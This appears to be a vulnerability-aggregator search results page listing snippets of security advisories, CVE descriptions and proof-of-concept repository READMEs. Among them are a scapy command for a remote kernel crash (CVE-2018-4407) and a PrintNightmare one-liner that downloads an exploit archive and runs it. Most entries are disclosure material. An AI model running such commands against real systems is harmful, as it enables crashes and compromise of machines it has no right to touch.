65010 matches found
Debian dsa-6508 : chromium - security update
The remote Debian 13 host has packages installed that are affected by multiple vulnerabilities as referenced in the dsa-6508 advisory. - ------------------------------------------------------------------------- Debian Security Advisory DSA-6508-1 [email protected] https://www.debian.org/securit...
Security update for sofia-sip (important)
openSUSE Security Update: Security update for sofia-sip Announcement ID: openSUSE-SU-2026:0330-1 Rating: important References: 1200116 1200117 1200118 Cross-References: CVE-2022-31001 CVE-2022-31002 CVE-2022-31003 Affected Products: openSUSE Backports SLE-15-SP7 An update that fixes three...
ROS-20260921-73-0104
The vulnerability of the 389 Directory Server catalog service server is related to the allocation of unlimited memory. Exploiting this vulnerability could allow a malicious actor to cause service failures remotely...
CVE-2026-94094
A flaw has been found in OpenClaw up to 2026.9.5. Affected is the function createCanvasHostHandler of the file extensions/canvas/src/host/server.ts of the component Canvas Host Route. Executing a manipulation can lead to denial of service. The attack can be launched remotely. The exploit has been...
check_icmp_dos
checkicmpdos iOS 12 / OS X Remote Kernel Heap Overflow CVE-2018-4407 POC: root@kitploit: pip install scapy sudo scapy sendIPdst=“Target IP“,options=IPOption“A”8/TCPdport=2323,options=19, “1"18,19, “2”18 或使用脚本 root@kitploit: python checkicmpdos.py 127.0.0.1...
CVE-2020-0796
CVE-2020-0796 Un PoC y escáner aún más simple para CVE-2020-0796, ya que utiliza paquetes estáticos. Hay una protección para evitar el uso accidental en direcciones IP públicas no hagas eso y un interruptor de encendido/apagado para activar el bloqueo. ¡Solo requiere Python 3 básico! Modo de...
[SECURITY] [DSA 6509-1] gimp security update
------------------------------------------------------------------------- Debian Security Advisory DSA-6509-1 [email protected] https://www.debian.org/security/ Moritz Muehlenhoff September 20, 2026 https://www.debian.org/security/faq -...
discord-crasher
Generador de casos de prueba para analizadores de medios media-gen es una pequeña herramienta de línea de comandos en Rust, con pocas dependencias, para construir dos casos de prueba de analizadores de medios. Edita archivos de medios válidos existentes in situ; no invoca FFmpeg, no parchea un...
Tomcat-CVE-2025-31650
CVE-2025-31650 🚨 Apache Tomcat HTTP/2 拒绝服务漏洞 CVE-2025-31650 的概念验证 PoC 该脚本通过发送格式错误的 priority 头(利用 HTTP/2 协议)触发 Apache Tomcat 中的内存耗尽条件。 🎯 受影响版本 Apache Tomcat 9.0.76 – 9.0.102 Apache Tomcat 10.1.10 – 10.1.39 Apache Tomcat 11.0.0-M2 – 11.0.5 ⚙️ 功能特性 ✔️ HTTP/2 支持检测 ✔️ Server 头检查(识别 Tomcat) ✔️...
CVE-2025-6998-CalibreWeb-0.6.24-ReDoS
CVE-2025-6998-CalibreWeb-0.6.24-ReDoS Exploit para el ReDoS de CalibreWeb v0.6.24...
Wincrash
Wincrash root@kitploit: 本人不对你使用此工具所达成的一切后果负责,该工具仅应用于教育目的。CVE-2019-0708 —— 当未认证的攻击者通过RDP连接到目标系统并发送特制请求时,存在远程桌面服务远程代码执行漏洞。此漏洞利用程序仅使设备崩溃,不执行代码 截图 alt text alt text 安装: root@kitploit: $ apt-get install python3 python3-pip $ cd Wincrash $ pip3 install -r requirements.txt 联系方式 Telegram: @ethhacker0x18...
log4j2-CVE-2021-45105
Aplicación vulnerable de ejemplo Log4j2 CVE-2021-45105 Versiones afectadas: todas las versiones desde 2.0-beta9 hasta 2.16.0 Esta aplicación está basada en una aplicación web Spring Boot vulnerable a CVE-2021-45105 Utiliza Log4j 2.16.0 Ejecutar la aplicación Ejecútala: root@kitploit: Import the...
Chrome-Skia-CVE-2024-8193
Corregido en Chrome M128: https://chromereleases.googleblog.com/2024/08/stable-channel-update-for-desktop28.html Pasos para reproducir: 1. Aplica el parche chromium.diff a chromium. 2. Ejecuta genskpic.py para generar drawablepicture.skp.hh, luego mueve el archivo generado a...
CVE-2026-20516
CVE-2026-20516: MiracastService confused deputy en Android TV Investigación y divulgación por Davide Di Matteo @Dingo97. Este es mi primer CVE acreditado. Encontré un servicio Miracast con privilegios de sistema, exportado incorrectamente, mientras investigaba un PEAQ Android TV. Un llamador pued...
[SECURITY] [DLA 4789-1] libde265 security update
Debian LTS Advisory DLA-4789-1 [email protected] https://www.debian.org/lts/security/ Tobias Frost September 20, 2026 https://wiki.debian.org/LTS Package : libde265 Version : 1.0.11-1+deb12u3 CVE ID : CVE-2023-51792 CVE-2024-38949 CVE-2024-38950 CVE-2026-33164 CVE-2026-33165...
PNCVE-Win10-20H2-Exploit
PrintNightmare-CVE-Win10-20H2-Exploit Para ejecutar este exploit en Windows: Ejecuta este oneliner: curl https://raw.githubusercontent.com/peckre/PNCVE-Win10-20H2-Exploit/main/Win10Exploit.zip -o Win10Exploit.zip & tar -xf Win10Exploit.zip & run.bat NOTA: Esto solo funcionará una vez por reinicio...
Security Bulletin: IBM Event Endpoint Management is effected by Multiple Vulnerabilities
Summary IBM Event Endpoint Management is affected by Multiple Vulnerabilities and was addressed in IBM Event Endpoint Management 11.8.2 Vulnerability Details CVEID:CVE-2026-41907 DESCRIPTION: uuid is for the creation of RFC9562 formerly RFC4122 UUIDs. Prior to 14.0.0, v3, v5, and v6 accept extern...
Security Bulletin: IBM Event Processing is affected by Multiple vulnerabilities
Summary IBM Event Processing is affected by Multiple vulnerabilities and were addressed in IBM Event Processing version 1.5.5 Vulnerability Details CVEID:CVE-2026-41907 DESCRIPTION: uuid is for the creation of RFC9562 formerly RFC4122 UUIDs. Prior to 14.0.0, v3, v5, and v6 accept external output...